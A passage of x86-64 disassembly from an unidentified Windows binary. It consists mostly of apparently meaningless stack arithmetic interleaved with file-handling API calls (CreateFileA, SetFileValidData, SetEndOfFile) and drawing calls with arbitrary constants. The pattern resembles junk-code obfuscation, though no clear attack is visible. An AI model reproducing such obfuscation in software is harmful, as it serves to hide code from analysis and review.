call qword [sym.imp.GDI32.dll_GetSystemPaletteEntries]
mov dword [rsp + 0x34cc], eax
cmp dword [rsp + 0x34d0], 0x43be
jbe 0x140005bf6
movzx eax, byte [rsp + 0x152]
movzx ecx, byte [rsp + 0x150]
add eax, ecx
mov rcx, qword [rsp + 0xad50]
mov byte [rcx], al
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x151]
shl eax, cl
mov rcx, qword [rsp + 0xad58]
mov byte [rcx], al
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x3478], eax
movabs rax, 0x205d354d2cb6f1e
mov rcx, qword [rsp + 0xa4c8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xac80], rax
mov rax, qword [rsp + 0xad50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x150]
xor eax, ecx
mov rcx, qword [rsp + 0xad50]
mov byte [rcx], al
movsx eax, byte [rsp + 0x151]
sar eax, 1
mov rcx, qword [rsp + 0xad58]
mov byte [rcx], al
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x364e
mov r9d, 0xba1
mov r8d, 0x253fafc9
mov edx, 2
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x3470], eax
movzx eax, byte [rsp + 0x150]
mov rcx, qword [rsp + 0xad50]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x152], al
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x3500], eax
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
sub eax, 0x69
mov byte [rsp + 0x151], al
mov rax, qword [rsp + 0xad60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeac]
sub eax, ecx
mov rcx, qword [rsp + 0xad78]
mov word [rcx], ax
movabs rax, 0xe07e9320c9bd1166
mov rcx, qword [rsp + 0xa4c8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xac80], rax
lea rdx, [rsp + 0x26ed8]
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x3470], eax
lea rdx, [rsp + 0x3478]
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x3500], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xadba
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3504], eax
movabs rax, 0x115b9313ce0b453e
mov rcx, qword [rsp + 0xacd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xace0], rax
mov eax, dword [rsp + 0x3450]
mov ecx, dword [rsp + 0x343c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x34cc], eax
movsx eax, byte [rsp + 0x151]
sub eax, 0x22
mov rcx, qword [rsp + 0xad58]
mov byte [rcx], al
mov rax, qword [rsp + 0xad78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xad60]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xeac], ax
mov eax, dword [rsp + 0x34d0]
sub eax, 0xa0
mov dword [rsp + 0x34d0], eax
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
add eax, 0x63
mov byte [rsp + 0x151], al
lea rdx, [rsp + 0xacc0]
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x34f8], eax
jmp 0x140005973
mov eax, dword [rsp + 0x34b8]
mov dword [rsp + 0x3508], eax
cmp dword [rsp + 0x3508], 0
je 0x140005c13
jmp 0x1401d8ee7
lea rdx, [rsp + 0x346c]
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x346c], eax
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x346c], eax
mov eax, dword [rsp + 0x34dc]
sub eax, 0xdf
mov dword [rsp + 0x34dc], eax
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x151]
add eax, ecx
mov rcx, qword [rsp + 0xad58]
mov byte [rcx], al
mov eax, dword [rsp + 0x34c4]
mov dword [rsp + 0x350c], eax
mov r9d, 1
lea r8, [rsp + 0xacd0]
mov rdx, qword [rsp + 0xacc0]
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x3510], eax
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa6c]
add eax, ecx
mov rcx, qword [rsp + 0xad70]
mov word [rcx], ax
lea rdx, [rsp + 0x26ea0]
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x3468], eax
lea rdx, [rsp + 0xad88]
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x3464], eax
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
sub eax, 0x3e
mov byte [rsp + 0x151], al
mov qword [rsp + 0x20], 0
mov r9d, 0x364e
mov r8d, 0xba1
mov edx, 0xa3
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x34ec], eax
movzx eax, byte [rsp + 0x150]
movzx ecx, byte [rsp + 0x152]
and eax, ecx
mov rcx, qword [rsp + 0xad50]
mov byte [rcx], al
mov rax, qword [rsp + 0xad78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeac]
sub eax, ecx
mov rcx, qword [rsp + 0xad78]
mov word [rcx], ax
movzx eax, word [rsp + 0xea8]
mov rcx, qword [rsp + 0xad60]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xad78]
mov word [rcx], ax
lea rdx, [rsp + 0x26ea0]
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x3468], eax
movabs rax, 0x5c092b626ae5cc6d
mov rcx, qword [rsp + 0xac80]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa4c8], rax
mov eax, dword [rsp + 0x34cc]
mov ecx, dword [rsp + 0x3450]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x343c], eax
mov eax, dword [rsp + 0x34c4]
mov ecx, dword [rsp + 0x350c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x34b8], eax
mov rax, qword [rsp + 0xad50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x152]
or eax, ecx
mov rcx, qword [rsp + 0xad50]
mov byte [rcx], al
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x151]
sar eax, cl
mov rcx, qword [rsp + 0xad58]
mov byte [rcx], al
mov rax, qword [rsp + 0xad60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xad78]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xeac], ax
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa6c]
and eax, ecx
mov word [rsp + 0xeb0], ax
mov rax, qword [rsp + 0xad50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x152]
add eax, ecx
mov byte [rsp + 0x150], al
movzx eax, word [rsp + 0xeac]
movzx ecx, word [rsp + 0xea8]
sub eax, ecx
mov rcx, qword [rsp + 0xad78]
mov word [rcx], ax
mov eax, dword [rsp + 0x34c4]
mov ecx, dword [rsp + 0x34b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x350c], eax
movabs rax, 0x6ac8d0456ca27cb6
mov rcx, qword [rsp + 0xace0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xacd8], rax
movabs rax, 0xbd0fb32cbafb462d
mov rcx, qword [rsp + 0xa4c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xac80], rax
mov eax, dword [rsp + 0x34cc]
mov ecx, dword [rsp + 0x3444]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x343c], eax
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb0]
sub eax, ecx
mov rcx, qword [rsp + 0xad70]
mov word [rcx], ax
mov rax, qword [rsp + 0xad50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x152]
sub eax, ecx
mov byte [rsp + 0x150], al
movsx eax, word [rsp + 0xeb0]
mov rcx, qword [rsp + 0xad70]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa6c], ax
mov rax, qword [rsp + 0xad60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea8]
sar eax, cl
mov word [rsp + 0xeac], ax
cmp dword [rsp + 0x34dc], 0x8dc8
jae 0x140005c13
lea rdx, [rsp + 0xacc8]
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x3514], eax
lea rax, [rsp + 0x151]
mov qword [rsp + 0xad90], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x2e4
mov r8d, 0x35ed
mov edx, 0xec
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x34d4], eax
movabs rax, 0xaab523ea049f6a27
mov rcx, qword [rsp + 0xa4c8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xac80], rax
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb0]
shl eax, cl
mov rcx, qword [rsp + 0xad70]
mov word [rcx], ax
lea rdx, [rsp + 0x26f10]
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x3518], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x4f36
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3478], eax
movabs rax, 0xeb392099832fa09
mov rcx, qword [rsp + 0xacd8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xace0], rax
mov eax, dword [rsp + 0x34c4]
mov ecx, dword [rsp + 0x34b8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x350c], eax
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x3478], eax
movsx eax, word [rsp + 0xa6c]
movsx ecx, word [section..data]
sub eax, ecx
mov word [rsp + 0xeb0], ax
mov eax, dword [rsp + 0x3490]
add eax, 0x7b
mov dword [rsp + 0x3490], eax
mov edx, 0x299ce
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x3458], eax
mov rax, qword [rsp + 0xad60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeac]
add eax, ecx
mov rcx, qword [rsp + 0xad60]
mov word [rcx], ax
movsx eax, byte [rsp + 0x151]
mov rcx, qword [rsp + 0xad90]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xad58]
mov byte [rcx], al
movsx eax, byte [rsp + 0x151]
mov rcx, qword [rsp + 0xad90]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xad58]
mov byte [rcx], al
movzx eax, byte [rsp + 0x150]
movzx ecx, byte [rsp + 0x152]
sub eax, ecx
mov rcx, qword [rsp + 0xad50]
mov byte [rcx], al
movabs rax, 0x4ee8dff6cd67f2ef
mov rcx, qword [rsp + 0xace0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xacd8], rax
cmp dword [rsp + 0x3490], 0x2ef9
jbe 0x140006022
lea rax, [rsp + 0x350c]
mov qword [rsp + 0xad98], rax
mov dword [rsp + 0x351c], 0x863d
mov rax, qword [rsp + 0xad90]
movzx eax, byte [rax]
mov byte [rsp + 0x3520], al
cmp byte [rsp + 0x3520], 0
je 0x14000621b
jmp 0x14000632a
mov rax, qword [rsp + 0xad98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x34b8]
and ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x350c]
mov edx, dword [rsp + 0x34c4]
add edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x1400062e9
mov eax, dword [rsp + 0x34cc]
movzx ecx, al
mov eax, dword [rsp + 0x3450]
shr eax, cl
mov dword [rsp + 0x3444], eax
mov eax, dword [rsp + 0x350c]
mov dword [rsp + 0x3524], eax
cmp dword [rsp + 0x3524], 0x2f193938
je 0x1400062ca
cmp dword [rsp + 0x3524], 0x42ad8eba
je 0x14000628e
jmp 0x1400062e9
movsx eax, word [rsp + 0xa6c]
movsx ecx, word [rsp + 0xeb0]
or eax, ecx
mov rcx, qword [rsp + 0xad70]
mov word [rcx], ax
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa6c]
shl eax, cl
mov word [rsp + 0xeb0], ax
jmp 0x1400062e9
movsx eax, byte [rsp + 0x151]
mov rcx, qword [rsp + 0xad58]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xad90]
mov byte [rcx], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.Loopyplight
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xada0], rax
jmp 0x14000640a
lea rdx, [rsp + 0xeac]
mov rcx, qword [rsp + 0xad20]
call qword [sym.imp.GDI32.dll_RectVisible]
mov dword [rsp + 0x348c], eax
mov rax, qword [rsp + 0xad50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x152]
add eax, ecx
mov byte [rsp + 0x150], al
mov eax, dword [rsp + 0x350c]
mov dword [rsp + 0x3528], eax
cmp dword [rsp + 0x3528], 0x4eaac586
je 0x140006380
jmp 0x1400063e8
mov dword [rsp + 0x20], 0x6c
mov r9d, 0x92
mov r8d, 0x1f
mov edx, 0x86
mov rcx, qword [rsp + 0xada8]
call qword [sym.imp.GDI32.dll_SetRectRgn]
mov dword [rsp + 0x3448], eax
movzx eax, byte [rsp + 0x150]
movzx ecx, byte [rsp + 0x152]
and eax, ecx
mov rcx, qword [rsp + 0xad50]
mov byte [rcx], al
movsx eax, word [rsp + 0xa6c]
mov rcx, qword [rsp + 0xad70]
movsx ecx, word [rcx]
add eax, ecx
mov word [section..data], ax
jmp 0x14000640a
lea r8, [rsp + 0x34b0]
mov edx, 0x89
mov rcx, qword [rsp + 0xadb0]
call qword [sym.imp.GDI32.dll_GetEnhMetaFilePaletteEntries]
mov dword [rsp + 0x343c], eax
mov dword [rsp + 0x352c], 0xdf3b
lea rax, [rsp + 0x152]
mov qword [rsp + 0xadb8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.ComplexFilamentous_botanists
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xadc0], rax
movabs rax, 0x236f824f491084c2
mov rcx, qword [rsp + 0xacd8]
sub rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0xace0]
jg 0x1401d8d7e
mov rax, qword [rsp + 0xa4c8]
shl rax, 0xd
cmp rax, qword [rsp + 0xac80]
jne 0x1400065e4
movabs rax, 0x7d6222fe02ecdb95
mov rcx, qword [rsp + 0xace0]
xor rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0xacd8]
jne 0x1400065df
mov eax, dword [rsp + 0x34b8]
mov dword [rsp + 0x3530], eax
cmp dword [rsp + 0x3530], 0xafce199
je 0x1400064f8
cmp dword [rsp + 0x3530], 0x55e15434
je 0x1400065c0
jmp 0x1400065df
movzx eax, word [rsp + 0xeac]
mov rcx, qword [rsp + 0xad60]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xad78]
mov word [rcx], ax
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa6c]
sub eax, ecx
mov word [rsp + 0xeb0], ax
mov dword [rsp + 0x58], 0x5e
lea rax, [rsp + 0xad90]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x344c]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x40], 0x42
mov dword [rsp + 0x38], 0x65
mov dword [rsp + 0x30], 0x30
mov dword [rsp + 0x28], 0x6d
mov dword [rsp + 0x20], 7
mov r9d, 0x6d
mov r8d, 0xca
mov edx, 0x66
mov rcx, qword [rsp + 0xadc8]
call qword [sym.imp.GDI32.dll_SetDIBitsToDevice]
mov dword [rsp + 0x3534], eax
movsx eax, word [rsp + 0xa6c]
movsx ecx, word [rsp + 0xeb0]
and eax, ecx
mov word [section..data], ax
jmp 0x1400065df
movsx eax, byte [rsp + 0x151]
mov rcx, qword [rsp + 0xad90]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xad58]
mov byte [rcx], al
jmp 0x14000666f
mov rax, qword [rsp + 0xad78]
movzx eax, word [rax]
mov dword [rsp + 0x3538], eax
cmp dword [rsp + 0x3538], 0
je 0x14000660f
cmp dword [rsp + 0x3538], 0x47e
je 0x140006644
jmp 0x140006664
mov rax, qword [rsp + 0xace0]
mov qword [rsp + 0xadd0], rax
mov eax, dword [rsp + 0x34c4]
mov dword [rsp + 0x353c], eax
cmp dword [rsp + 0x353c], 0x2170f537
je 0x14000663c
jmp 0x140006642
call fcn.1401d9230
nop
jmp 0x140006664
movabs rax, 0x2e653e85b4a1a0a5
mov rcx, qword [rsp + 0xa4c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xac80], rax
mov dword [rsp + 0x3540], 0xceb0
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa6c]
sub eax, ecx
movsx ecx, word [rsp + 0xeb0]
movsx edx, word [section..data]
sub ecx, edx
cmp eax, ecx
jge 0x1401d8d27
mov rax, qword [rsp + 0xadb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xad50]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x152], al
mov r9d, 2
lea r8, [rsp + 0xad88]
mov rdx, qword [rsp + 0xad68]
mov rcx, qword [rsp + 0xada0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x3544], eax
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x3470], eax
movsx eax, byte [rsp + 0x151]
mov rcx, qword [rsp + 0xad58]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xad90]
mov byte [rcx], al
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa6c]
xor eax, ecx
mov word [rsp + 0xeb0], ax
lea rdx, [rsp + 0xacc8]
mov rcx, qword [rsp + 0xadc0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x3458], eax
mov rax, qword [rsp + 0xad78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea8]
sar eax, cl
mov rcx, qword [rsp + 0xad60]
mov word [rcx], ax
lea rdx, [rsp + 0x3500]
mov rcx, qword [rsp + 0xada0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x3548], eax
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [section..data]
shl eax, cl
mov word [rsp + 0xa6c], ax
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x3548], eax
lea rdx, [rsp + 0x26ea0]
mov rcx, qword [rsp + 0xada0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x34d4], eax
mov eax, dword [rsp + 0x345c]
add eax, 0x24
mov dword [rsp + 0x345c], eax
mov r9d, 1
lea r8, [rsp + 0xad68]
mov rdx, qword [rsp + 0xad68]
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x354c], eax
mov eax, dword [rsp + 0x34c4]
mov ecx, dword [rsp + 0x350c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x34b8], eax
mov rax, qword [rsp + 0xacd8]
mov rcx, qword [rsp + 0xace0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xadd0], rax
movabs rax, 0xcada4149f5bb743b
mov rcx, qword [rsp + 0xac80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa4c8], rax
mov eax, dword [rsp + 0x34cc]
mov ecx, dword [rsp + 0x3450]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3444], eax
lea rdx, [rsp + 0x26ea0]
mov rcx, qword [rsp + 0xada0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x34d4], eax
mov rax, qword [rsp + 0xad60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea8]
and eax, ecx
mov rcx, qword [rsp + 0xad78]
mov word [rcx], ax
movsx eax, word [rsp + 0xeb0]
movsx ecx, word [rsp + 0xa6c]
add eax, ecx
mov rcx, qword [rsp + 0xad70]
mov word [rcx], ax
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad90]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x151], al
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa6c]
sub eax, ecx
mov word [section..data], ax
movzx eax, byte [rsp + 0x150]
mov rcx, qword [rsp + 0xad50]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xadb8]
mov byte [rcx], al
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x354c], eax
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x151]
add eax, ecx
mov rcx, qword [rsp + 0xad90]
mov byte [rcx], al
mov rax, qword [rsp + 0xad60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea8]
sar eax, cl
mov rcx, qword [rsp + 0xad60]
mov word [rcx], ax
xor r9d, r9d
lea r8, [rsp + 0xad68]
mov rdx, qword [rsp + 0xad68]
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x3550], eax
mov rax, qword [rsp + 0xad98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3534]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x34c4], eax
mov rax, qword [rsp + 0xacd8]
mov rcx, qword [rsp + 0xace0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xadd0], rax
mov edx, 0xb6309
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x3464], eax
movzx eax, byte [rsp + 0x152]
mov rcx, qword [rsp + 0xadb8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x150], al
movsx eax, byte [rsp + 0x151]
mov rcx, qword [rsp + 0xad90]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xad58]
mov byte [rcx], al
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa6c]
sub eax, ecx
mov word [rsp + 0xeb0], ax
cmp dword [rsp + 0x345c], 0xa2ac
jbe 0x14000669d
cmp dword [rsp + 0x351c], 0xb4df
jae 0x140006f27
movzx eax, word [rsp + 0xea8]
movzx ecx, word [rsp + 0xeac]
sub eax, ecx
mov rcx, qword [rsp + 0xad78]
mov word [rcx], ax
mov rax, qword [rsp + 0xadb8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x152]
sub eax, ecx
mov byte [rsp + 0x150], al
mov rcx, qword [rsp + 0xadc0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x346c], eax
mov eax, dword [rsp + 0x3444]
mov ecx, dword [rsp + 0x343c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x34cc], eax
mov edx, 0x56261c
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x3554], eax
lea rdx, [rsp + 0x34e0]
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x3548], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x815c
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x34e0], eax
movabs rax, 0xf6894afb4e77d42d
mov rcx, qword [rsp + 0xac80]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa4c8], rax
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb0]
sub eax, ecx
mov rcx, qword [rsp + 0xad70]
mov word [rcx], ax
mov eax, dword [rsp + 0x350c]
mov ecx, dword [rsp + 0x34b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x34c4], eax
mov rax, qword [rsp + 0xad78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xad60]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xeac], ax
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb0]
add eax, ecx
mov word [rsp + 0xa6c], ax
movsx eax, byte [rsp + 0x151]
mov rcx, qword [rsp + 0xad90]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xad58]
mov byte [rcx], al
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa6c]
sar eax, cl
mov word [section..data], ax
movsx eax, byte [rsp + 0x151]
mov rcx, qword [rsp + 0xad58]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xad90]
mov byte [rcx], al
mov rax, qword [rsp + 0xadd0]
mov rcx, qword [rsp + 0xace0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xacd8], rax
mov eax, dword [rsp + 0x3444]
mov ecx, dword [rsp + 0x34cc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x343c], eax
mov r9d, 1
lea r8, [rsp + 0xadd8]
mov rdx, qword [rsp + 0xadd8]
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x3458], eax
lea rdx, [rsp + 0x26ed8]
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x3544], eax
mov r9d, 2
lea r8, [rsp + 0xacc0]
mov rdx, qword [rsp + 0xad68]
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x3518], eax
mov eax, dword [rsp + 0x34b8]
mov ecx, dword [rsp + 0x34c4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xad98]
mov dword [rcx], eax
movabs rax, 0xf7e4d4688bf204ab
mov rcx, qword [rsp + 0xac80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa4c8], rax
movzx eax, word [rsp + 0xea8]
mov rcx, qword [rsp + 0xad60]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xeac], ax
movsx eax, byte [rsp + 0x151]
mov rcx, qword [rsp + 0xad90]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xad58]
mov byte [rcx], al
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa6c]
sub eax, ecx
mov word [rsp + 0xeb0], ax
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa6c]
and eax, ecx
mov rcx, qword [rsp + 0xad70]
mov word [rcx], ax
mov dword [rsp + 0x20], 0x16d2
mov r9d, 0x2222
mov r8d, 0x155e
mov edx, 0x14ac
mov rcx, qword [rsp + 0xadc0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x3558], eax
mov rax, qword [rsp + 0xad60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea8]
add eax, ecx
mov rcx, qword [rsp + 0xad60]
mov word [rcx], ax
mov eax, dword [rsp + 0x351c]
add eax, 0xfe
mov dword [rsp + 0x351c], eax
lea rdx, [rsp + 0x26ea0]
mov rcx, qword [rsp + 0xadc0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x3514], eax
mov rax, qword [rsp + 0xad98]
mov ecx, dword [rsp + 0x350c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x34c4], eax
mov rax, qword [rsp + 0xacd8]
mov rcx, qword [rsp + 0xadd0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xace0], rax
mov rax, qword [rsp + 0xa4c8]
shr rax, 0x2b
mov qword [rsp + 0xac80], rax
mov eax, dword [rsp + 0x3444]
mov ecx, dword [rsp + 0x3450]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x343c], eax
mov rcx, qword [rsp + 0xadc0]
